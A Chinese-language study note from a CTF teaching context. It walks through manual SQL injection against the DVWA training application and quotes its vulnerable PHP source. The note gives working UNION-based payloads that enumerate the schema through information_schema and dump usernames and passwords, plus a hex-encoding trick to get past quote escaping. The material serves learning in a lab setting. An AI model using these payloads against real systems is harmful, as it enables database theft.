因为之前为了my,去教了ctf进阶(不是因为我学的多,只是因为我是大三的),总结了一份PPT,对sql手工注入的过程以及sql各种高级注入都了解了一些,个人感觉还是挺熟的
写的较为简略,给自己参考的
0x00、简介
sql注入,简单的来说就是对用户输入的数据没有进行查询,导致用户输入恶意语句,构造一些可以被执行的sql语句,导致数据库被拖等严重后果
0x01、dvwa实战
一、low
1、判断是否为注入点和注入点类型
输入:1' and '1' ='1'#: (#表示注释掉后面的)
输入:1' and '1' ='2',无回显
可判断该点为注入点,且参数闭合方式为单引号闭合
2、跟据order by判断字段长度
order by n,若字段n不存在会报错,输入 1' order by 2 #:
输入1' order by 3 #:
说明查询语句所查的表个有两个字段
3、利用union select和sql内置函数得到当前数据库名称,版本信息等
union select要求前后查询的字段一致,所以需要判断当前表的字段长度,输入-1' union select 1,2#可判断回显位置(前面没查询到,显示的自然就是后面查询的了):
既然都回显,我们将内置函数放在任何一个字段都可以,-1' union select database(),2#,查询得到当前数据库名称
4、利用information_schema得到该数据库的表名、列名、字段名
mysql自带有一个information_schema库,该库存有tables(现有的所有表格的相关信息),schemas(所有字段信息),databases
group_concat可以将查询到的所有拼接成一个字段,所以可构造payload:
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa" #
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
-1' union select user,password from users #
二、medium
<?php if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $id = mysql_real_escape_string($id); $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i=0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?>
相比low级别,多了mysql_real_escape_string
函数对输入的字符串进行处理,输入字符串若包括\n、\r、\、'、" 等,对其进行转义处理
经判断,该处为数字型注入,其他基本与low一致,但是1这里单引号和双引号被转义(其实就是过滤,不能输入引号),可将数据库名表名等用16进制表示,再传过去
例如 -1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #可变为
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,其中7573657273为users的16进制表示
三、high
<?php if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i=0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } } ?>
添加了stripslashes
函数(删除反斜杠)和mysql_real_escape_string
函数(过滤引号等字符)
同时判断id是否为数字,不是不进行查询,十六进制编码了一下,不行
0x02总结
好像group_concat里不能加select语句或者union select后不能再加select语句,注意要细心哦,这个东西检查起来有点儿不容易
参考链接
https://www.cnblogs.com/yuzly/p/10725942.html